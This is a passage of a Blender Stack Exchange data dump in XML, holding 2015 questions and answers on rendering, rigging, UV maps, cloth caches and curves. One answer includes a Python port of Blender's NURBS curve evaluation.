the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNjbY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-24T23:50:18.607" LastActivityDate="2015-07-24T23:50:18.607" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34273" PostTypeId="1" CreationDate="2015-07-20T07:09:54.630" Score="0" ViewCount="79" Body="&lt;p&gt;Forgive me if this is a silly/easy to figure out question, but I couldn't find anything... I tried the clear all restricted render option and had no luck so figured I would inquire here as google was of no help.&lt;/p&gt;&#xA;&lt;p&gt;Camera view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BU8pE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BU8pE.png&quot; alt=&quot;camera view&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post-rendering:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0XY2w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XY2w.png&quot; alt=&quot;camera view&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="15785" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-04-01T07:49:48.420" Title="No texture when in render mode?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34274" PostTypeId="2" ParentId="34273" CreationDate="2015-07-20T07:23:28.303" Score="-2" Body="&lt;p&gt;Right click on your material,go to texture and check the empty boxes.Hope it help.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SAzfl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1PO9E.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="15640" LastEditDate="2015-07-20T13:16:12.483" LastActivityDate="2015-07-20T13:16:12.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34275" PostTypeId="1" CreationDate="2015-07-20T09:19:52.723" Score="1" ViewCount="235" Body="&lt;p&gt;I have frequent kernel crashes (which I haven't solved, but that's another story) that absolutely destroy my Blender save files. If I have a file open in Blender, even if I'm not doing anything to it, it will be corrupted when I try to open it again after rebooting. I'll get the infamous &quot;file format not supported&quot; error and when I check the size of the .blend file, it's 0B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have auto backups turned on, but when I went to check if they were any better, they were also 0B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not expecting to solve my kernel crashes, but is there a way to make sure these corruptions don't occur, outside of manually backing up my files every 5 minutes?&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2015-07-27T21:04:51.023" Title="Linux kernel crashes corrupt my Blender files" Tags="&lt;blend-files&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34276" PostTypeId="2" ParentId="34145" CreationDate="2015-07-20T10:19:43.597" Score="5" Body="&lt;p&gt;extracted the &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/refs/heads/master:/source/blender/blenkernel/intern/curve.c#l1305&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; for nurb curves and ported it to python - seems to work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math&#xA;import mathutils&#xA;&#xA;def macro_knotsu(nu):&#xA;    return nu.order_u + nu.point_count_u + (nu.order_u - 1 if nu.use_cyclic_u else 0)&#xA;&#xA;def macro_segmentsu(nu):&#xA;    return nu.point_count_u if nu.use_cyclic_u else nu.point_count_u - 1&#xA;&#xA;def makeknots(nu):&#xA;    knots = [0.0] * (4 + macro_knotsu(nu))&#xA;    flag = nu.use_endpoint_u + (nu.use_bezier_u &amp;lt;&amp;lt; 1)&#xA;    if nu.use_cyclic_u:&#xA;        calcknots(knots, nu.point_count_u, nu.order_u, 0)&#xA;        makecyclicknots(knots, nu.point_count_u, nu.order_u)&#xA;    else:&#xA;        calcknots(knots, nu.point_count_u, nu.order_u, flag)&#xA;    return knots&#xA;&#xA;def calcknots(knots, pnts, order, flag):&#xA;    pnts_order = pnts + order&#xA;    if flag == 1:&#xA;        k = 0.0&#xA;        for a in range(1, pnts_order + 1):&#xA;            knots[a - 1] = k&#xA;            if a &amp;gt;= order and a &amp;lt;= pnts:&#xA;                k += 1.0&#xA;    elif flag == 2:&#xA;        if order == 4:&#xA;            k = 0.34&#xA;            for a in range(pnts_order):&#xA;                knots[a] = math.floor(k)&#xA;                k += (1.0 / 3.0)&#xA;        elif order == 3:&#xA;            k = 0.6&#xA;            for a in range(pnts_order):&#xA;                if a &amp;gt;= order and a &amp;lt;= pnts:&#xA;                    k += 0.5&#xA;                    knots[a] = math.floor(k)&#xA;    else:&#xA;        for a in range(pnts_order):&#xA;            knots[a] = a&#xA;&#xA;def makecyclicknots(knots, pnts, order):&#xA;    order2 = order - 1&#xA;&#xA;    if order &amp;gt; 2:&#xA;        b = pnts + order2&#xA;        for a in range(1, order2):&#xA;            if knots[b] != knots[b - a]:&#xA;                break&#xA;&#xA;            if a == order2:&#xA;                knots[pnts + order - 2] += 1.0&#xA;&#xA;    b = order&#xA;    c = pnts + order + order2&#xA;    for a in range(pnts + order2, c):&#xA;        knots[a] = knots[a - 1] + (knots[b] - knots[b - 1])&#xA;        b -= 1&#xA;&#xA;def basisNurb(t, order, pnts, knots, basis, start, end):&#xA;    i1 = i2 = 0&#xA;    orderpluspnts = order + pnts&#xA;    opp2 = orderpluspnts - 1&#xA;&#xA;    # this is for float inaccuracy&#xA;    if t &amp;lt; knots[0]:&#xA;        t = knots[0]&#xA;    elif t &amp;gt; knots[opp2]:&#xA;        t = knots[opp2]&#xA;&#xA;    # this part is order '1'&#xA;    o2 = order + 1&#xA;    for i in range(opp2):&#xA;        if knots[i] != knots[i + 1] and t &amp;gt;= knots[i] and t &amp;lt;= knots[i + 1]:&#xA;            basis[i] = 1.0&#xA;            i1 = i - o2&#xA;            if i1 &amp;lt; 0:&#xA;                i1 = 0&#xA;            i2 = i&#xA;            i += 1&#xA;            while i &amp;lt; opp2:&#xA;                basis[i] = 0.0&#xA;                i += 1&#xA;            break&#xA;&#xA;        else:&#xA;            basis[i] = 0.0&#xA;&#xA;    basis[i] = 0.0&#xA;&#xA;    # this is order 2, 3, ...&#xA;    for j in range(2, order + 1):&#xA;&#xA;        if i2 + j &amp;gt;= orderpluspnts:&#xA;            i2 = opp2 - j&#xA;&#xA;        for i in range(i1, i2 + 1):&#xA;            if basis[i] != 0.0:&#xA;                d = ((t - knots[i]) * basis[i]) / (knots[i + j - 1] - knots[i])&#xA;            else:&#xA;                d = 0.0&#xA;&#xA;            if basis[i + 1] != 0.0:&#xA;                e = ((knots[i + j] - t) * basis[i + 1]) / (knots[i + j] - knots[i + 1])&#xA;            else:&#xA;                e = 0.0&#xA;&#xA;            basis[i] = d + e&#xA;&#xA;    start = 1000&#xA;    end = 0&#xA;&#xA;    for i in range(i1, i2 + 1):&#xA;        if basis[i] &amp;gt; 0.0:&#xA;            end = i&#xA;            if start == 1000:&#xA;                start = i&#xA;&#xA;    return start, end&#xA;&#xA;def nurb_make_curve(nu, resolu, stride):&#xA;    EPS = 1e-6&#xA;    coord_index = istart = iend = 0&#xA;&#xA;    coord_array = [0.0] * (3 * nu.resolution_u * macro_segmentsu(nu))&#xA;    sum_array = [0] * nu.point_count_u&#xA;    basisu = [0.0] * macro_knotsu(nu)&#xA;    knots = makeknots(nu)&#xA;&#xA;    resolu = resolu * macro_segmentsu(nu)&#xA;    ustart = knots[nu.order_u - 1]&#xA;    uend   = knots[nu.point_count_u + nu.order_u - 1] if nu.use_cyclic_u else \&#xA;             knots[nu.point_count_u]&#xA;    ustep  = (uend - ustart) / (resolu - (0 if nu.use_cyclic_u else 1))&#xA;    cycl = nu.order_u - 1 if nu.use_cyclic_u else 0&#xA;&#xA;    u = ustart&#xA;    while resolu:&#xA;        resolu -= 1&#xA;        istart, iend = basisNurb(u, nu.order_u, nu.point_count_u + cycl, knots, basisu, istart, iend)&#xA;&#xA;        #/* calc sum */&#xA;        sumdiv = 0.0&#xA;        sum_index = 0&#xA;        pt_index = istart - 1&#xA;        for i in range(istart, iend + 1):&#xA;            if i &amp;gt;= nu.point_count_u:&#xA;                pt_index = i - nu.point_count_u&#xA;            else:&#xA;                pt_index += 1&#xA;&#xA;            sum_array[sum_index] = basisu[i] * nu.points[pt_index].co[3]&#xA;            sumdiv += sum_array[sum_index]&#xA;            sum_index += 1&#xA;&#xA;        if (sumdiv != 0.0) and (sumdiv &amp;lt; 1.0 - EPS or sumdiv &amp;gt; 1.0 + EPS):&#xA;            sum_index = 0&#xA;            for i in range(istart, iend + 1):&#xA;                sum_array[sum_index] /= sumdiv&#xA;                sum_index += 1&#xA;&#xA;        coord_array[coord_index: coord_index + 3] = (0.0, 0.0, 0.0)&#xA;&#xA;        sum_index = 0&#xA;        pt_index = istart - 1&#xA;        for i in range(istart, iend + 1):&#xA;            if i &amp;gt;= nu.point_count_u:&#xA;                pt_index = i - nu.point_count_u&#xA;            else:&#xA;                pt_index += 1&#xA;&#xA;            if sum_array[sum_index] != 0.0:&#xA;                for j in range(3):&#xA;                    coord_array[coord_index + j] += sum_array[sum_index] * nu.points[pt_index].co[j]&#xA;            sum_index += 1&#xA;&#xA;        coord_index += stride&#xA;        u += ustep&#xA;&#xA;    return coord_array&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    curve = bpy.data.curves['NurbsCurve']&#xA;    nu = curve.splines[0]&#xA;    resolution = (curve.render_resolution_u if curve.render_resolution_u else&#xA;                  curve.resolution_u)&#xA;    coord_array = nurb_make_curve(nu, resolution, 3)&#xA;&#xA;    verts = (mathutils.Vector(coord_array[i: i + 3])&#xA;                for i in range(0, len(coord_array), 3))&#xA;&#xA;    mesh = bpy.data.objects['Cube'].data&#xA;    bm = bmesh.new()&#xA;&#xA;    prev = bm.verts.new(next(verts))&#xA;    for v in verts:&#xA;        current = bm.verts.new(v)&#xA;        bm.edges.new((prev, current))&#xA;        prev = current&#xA;&#xA;    bm.to_mesh(mesh)    &#xA;    bm.free()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == &quot;VIEW_3D&quot;:&#xA;            area.tag_redraw()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-07-20T10:50:43.800" LastActivityDate="2015-07-20T10:50:43.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34277" PostTypeId="1" CreationDate="2015-07-20T10:28:50.123" Score="2" ViewCount="8354" Body="&lt;p&gt;I want to connect bone with the mesh with automatic weights but when I press Ctrl+P-&gt;With automatic weights it brings me this error , I tried to remove doubles but the error hasn`t gone . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YXEij.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9791" LastEditorDisplayName="user1853" LastEditDate="2015-07-20T14:41:14.067" LastActivityDate="2017-11-04T10:14:18.213" Title="Rigging Error &quot;Bone Heat Weighting: Failed to find solution for one or more bones&quot;" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34278" PostTypeId="2" ParentId="33848" CreationDate="2015-07-20T10:39:34.507" Score="8" Body="&lt;p&gt;I am running Blender 2.75 on Windows 10 now, the 10240 RTM release, and it is working without any issues compared to my previous run on Windows 8.1.1.&lt;/p&gt;&#xA;" OwnerUserId="13128" LastActivityDate="2015-07-20T10:39:34.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34279" PostTypeId="2" ParentId="34262" CreationDate="2015-07-20T10:49:00.050" Score="2" Body="&lt;p&gt;You have to move the particles modifier to the bottom of the modifiers stack, this way the particle system will use the modified mesh from the previous modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mWxSE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;also there is an option on the particle system tab to use the modifiers stack ( but I don't think it does anything ? )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOSsB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-20T10:49:00.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34280" PostTypeId="2" ParentId="34260" CreationDate="2015-07-20T11:05:06.367" Score="2" Body="&lt;p&gt;You can use the bridge in the loop tools addon with a negative value in the cubic interpolation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QxOGr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-07-20T11:05:06.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34281" PostTypeId="1" AcceptedAnswerId="34288" CreationDate="2015-07-20T11:51:39.983" Score="2" ViewCount="5888" Body="&lt;p&gt;Is it possible to UV unwrap only a material? I have on object with multiple materials and I would like to apply a texture only to one of them.&#xA;Thanks for answers&lt;/p&gt;&#xA;" OwnerUserId="15494" LastActivityDate="2015-07-20T14:07:08.787" Title="how to UV unwrap a material" Tags="&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34282" PostTypeId="2" ParentId="34260" CreationDate="2015-07-20T12:21:57.140" Score="2" Body="&lt;p&gt;Another possible way to achieve this shape is to use actual curves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Object mode&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and add a new Bezier Curve. Enter its &lt;em&gt;Edit mode&lt;/em&gt;, press&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; and set snaping mode to &lt;em&gt;Vertex&lt;/em&gt;; select one of curve vertices and grab it, hovering your mouse over vertex in the corner of your base mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same with another vertex of the curve and turn off vertex snapping (again &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;). Now to setup curve shape begin rotating and scaling its vertices &#xA;along &lt;code&gt;X&lt;/code&gt; or &lt;code&gt;Y&lt;/code&gt; axis (depends on your scene) to get desired form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SaIhS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After converting it to mesh, enter &lt;em&gt;Edit mode&lt;/em&gt; select all vertices and extrude upwards. With extruded vertices still selected scale them to 0 by &lt;code&gt;Z&lt;/code&gt; axis. Now again turn on &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; and grab extruded vertices, they will align with top corner of the base mesh. Select all, &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Remove doubles&lt;/em&gt;. The result can look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u3mWb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With everything selected, press &lt;kbd&gt;E&lt;/kbd&gt; and this time choose axis to extrude along the base mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After extruding, setting &lt;em&gt;Shading&lt;/em&gt; to Smooth and adding &lt;strong&gt;Edge Split&lt;/strong&gt; modifier the result will look similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jG8U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of this approach is that you can create pretty much any shape of the corner by simply editing the curve in the beginning.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-07-20T12:21:57.140" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34285" PostTypeId="1" CreationDate="2015-07-20T13:32:42.880" Score="1" ViewCount="1436" Body="&lt;p&gt;I have setup a project of 250 frames with a flag and a wind force field. It works fine until I change the length of the project to 520 frames, then the flag is frozen after frame 250. There must be a simple way to change this. Thanks for any help. Regards, Daniel.&lt;/p&gt;&#xA;" OwnerUserId="15789" LastEditorDisplayName="user1853" LastEditDate="2016-07-27T04:23:23.000" LastActivityDate="2016-07-27T04:23:23.000" Title="Wind Field freeze at frame 250. Where can it be changed?" Tags="&lt;animation&gt;&lt;cache&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34287" PostTypeId="1" AcceptedAnswerId="34289" CreationDate="2015-07-20T13:59:46.967" Score="1" ViewCount="2949" Body="&lt;p&gt;I'm trying to animate a Bezier Curve to achieve a rope-ish kinda animation. I found out that using the hook modifier is probably the closest to what I'm looking for, but even after selecting the vertices and adding the hook modifier to empty object, even if I moved the empty object in object mode, the curve doesn't want to stretch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone possibly tell me what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J8y2m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J8y2m.png&quot; alt=&quot;curve and hook&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UScz1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UScz1.png&quot; alt=&quot;curve and hook&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend file if it might help:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/roun672kchkhef0/Boxing%20Ring.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/roun672kchkhef0/Boxing%20Ring.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15791" LastEditorUserId="2217" LastEditDate="2015-07-20T14:30:37.683" LastActivityDate="2015-07-20T14:31:50.510" Title="Hook to Empty Object on a Bezier Curve doesn't work" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34288" PostTypeId="2" ParentId="34281" CreationDate="2015-07-20T14:07:08.787" Score="5" Body="&lt;p&gt;To clarify, you don't unwrap a texture, you unwrap a mesh. UV unwrapping is a way of defining the translation between a spot on a 3D object to a spot on a 2D image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create multiple UV maps for an object and choose a specific UV map to use for a texture image. When you want to use more than one image for an object you don't have to use the same UV map for each image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When UV unwrapping, the UV layout shown in the UV/Image Editor is the data associated with the UV map highlighted in the UV Map list. The UV map with a little camera next to it is the default layout that will be used if no specific UV map is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kFk1x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Blender Internal you choose the UV map to use in the Mapping panel of the texture settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HEAze.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles instead of using a Texture Coordinate node, you add a UV map node and choose the UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/28l6z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-20T14:07:08.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34289" PostTypeId="2" ParentId="34287" CreationDate="2015-07-20T14:12:19.900" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMfLC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First unhook the hooks, keep the empty's Subdivide the curve. Go to Object mode to select the empty and the curve you want to hook it to. Then go to Edit mode, select the middle vertex of the curve and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;H&lt;/kbd&gt; to hook it.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="1245" LastEditDate="2015-07-20T14:31:50.510" LastActivityDate="2015-07-20T14:31:50.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34290" PostTypeId="2" ParentId="34236" CreationDate="2015-07-20T14:32:27.800" Score="0" Body="&lt;p&gt;There's a way to display wires for all objects with the amaranth tools, you can find it in the &lt;kbd&gt;N&lt;/kbd&gt; panel &gt; &lt;em&gt;Display&lt;/em&gt; &gt; &lt;em&gt;Display wireframe&lt;/em&gt;, and you can assign a shortcut to it.&lt;/p&gt;&#xA;" OwnerUserId="11330" LastEditorUserId="2217" LastEditDate="2015-07-20T15:31:09.160" LastActivityDate="2015-07-20T15:31:09.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34291" PostTypeId="2" ParentId="34285" CreationDate="2015-07-20T14:35:30.960" Score="4" Body="&lt;p&gt;I pressume you are using cloth simulation for the flag. Go to the Cloth cache and modify the end to the number of frames you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqTBE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-20T14:35:30.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34292" PostTypeId="1" AcceptedAnswerId="34293" CreationDate="2015-07-20T15:26:35.723" Score="0" ViewCount="837" Body="&lt;p&gt;Recently i've downloaded the Minecraft-Character-Rig from Rymdnisse, but i was a bit unsatisfied with the the backbone of the armature (it had altogether only 2 bones). At the beginning it wasn't possible for me to rotate the pelvis. But i was able to solve it. However, the upper body was affected too heavily, so i had to add another bone. So i selected the bone for the lower body in Edit-mode, pressed W and subdivided it once. Then i adjusted my modification (Clear Parent etc.) so that everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there was one problem. i had to adjust the weights for the three bones that had been affected by this modification, otherwise nothing would have been changed.&#xA;Therefore i first selected the object, then the armature and afterwards i selected with &lt;strong&gt;ctrl + P&lt;/strong&gt; &lt;em&gt;Set Parent to / With Automatic Weights&lt;/em&gt;, but there was a very strange result. The whole body was increased ~10 times, shifted a bit down and two places were completely deformed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to use Set Parent to / &lt;em&gt;With Envelope Weights&lt;/em&gt; or &lt;em&gt;With Empty Groups&lt;/em&gt;, but the result remained the same. Even after i've deleted all Vertex Groups, Physics, Modifiers and Shape Keys, the result was still the same. So i conclude that there might be a problem with the object, but i'm not sure about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How am i able to solve this problem or are there any other options to adjust the Weights properly (but not manually since it's not very accurate)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Minecraft-Rig i've used: &lt;a href=&quot;https://rymdnisse.net/downloads.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rymdnisse.net/downloads.html&lt;/a&gt; (i've used this file: Minecraft_Character_Rig.blend )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTISO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the object with my modification (3 bones now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xH3iH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the object after i selected &lt;em&gt;Set Parent to...&lt;/em&gt; (Head and armature remain in the same place.&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2015-07-20T16:54:12.200" Title="Why does my object increase and deform when i first select the object, then the armature and afterwards go to Set Parent With Automatic Weights?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34293" PostTypeId="2" ParentId="34292" CreationDate="2015-07-20T16:21:14.520" Score="1" Body="&lt;p&gt;Before parenting, apply the scale (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;) to both your rig and your character.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="241" LastEditDate="2015-07-20T16:54:12.200" LastActivityDate="2015-07-20T16:54:12.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34294" PostTypeId="1" CreationDate="2015-07-06T02:27:32.880" Score="0" ViewCount="189" Body="&lt;p&gt;I'm having a big problem with the bezier curves in Blender.&#xA;Im trying to fill up the curves, but i can't.&#xA;I have already saw some videos from youtube, telling that I have to clic on the 2D button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lNRIn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i clic on the 2D button, this is what it happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UcWxW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will really appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerDisplayName="Terniro" LastActivityDate="2015-07-20T17:25:40.237" Title="Blender - Fill Up Bezier Curves" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-07-20T18:08:34.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="34295" PostTypeId="2" ParentId="34294" CreationDate="2015-07-20T17:25:40.237" Score="0" Body="&lt;p&gt;Rotate the curve till is coplanar with global X-Y plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than apply Rotation by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can set the curve to 2D.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-07-20T17:25:40.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34296" PostTypeId="1" AcceptedAnswerId="34339" CreationDate="2015-07-20T17:58:06.757" Score="0" ViewCount="128" Body="&lt;p&gt;I have created physical simulation of objects after initiating them from random positions. I am generating about 9 scenes and would like to view these simulations simultaneously on a blender screen as 3x3 matrix view of scenes together. I guess I might have to use viewport stuff, but didn't find anything concrete on what I wanted to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointer would be of great help.&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15189" LastActivityDate="2015-07-21T18:12:20.877" Title="Physical simulation of multiple scenes simultaneously" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34297" PostTypeId="2" ParentId="34137" CreationDate="2015-07-20T18:14:46.293" Score="1" Body="&lt;p&gt;It seems like &lt;a href=&quot;https://blender.stackexchange.com/questions/78/how-would-i-import-export-blenders-preferences&quot;&gt;this thread&lt;/a&gt; should help. Copying startup.blend (this contains your startup scene) and userpref.blend (this contains your user preferences) to Dropbox and syncing them should have the result you're after. You would have to manually copy and paste the files to and from the Dropbox folder on each machine each time you changed them, however, so it won't be an automatic update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex. Working at home, make changes to User Preferences, copy userpref.blend to Dropbox, go to work, move userpref.blend from Dropbox to Blender folder. You would also have to do the same with the addons you installed.&lt;/p&gt;&#xA;" OwnerUserId="15794" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-07-20T18:27:51.400" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
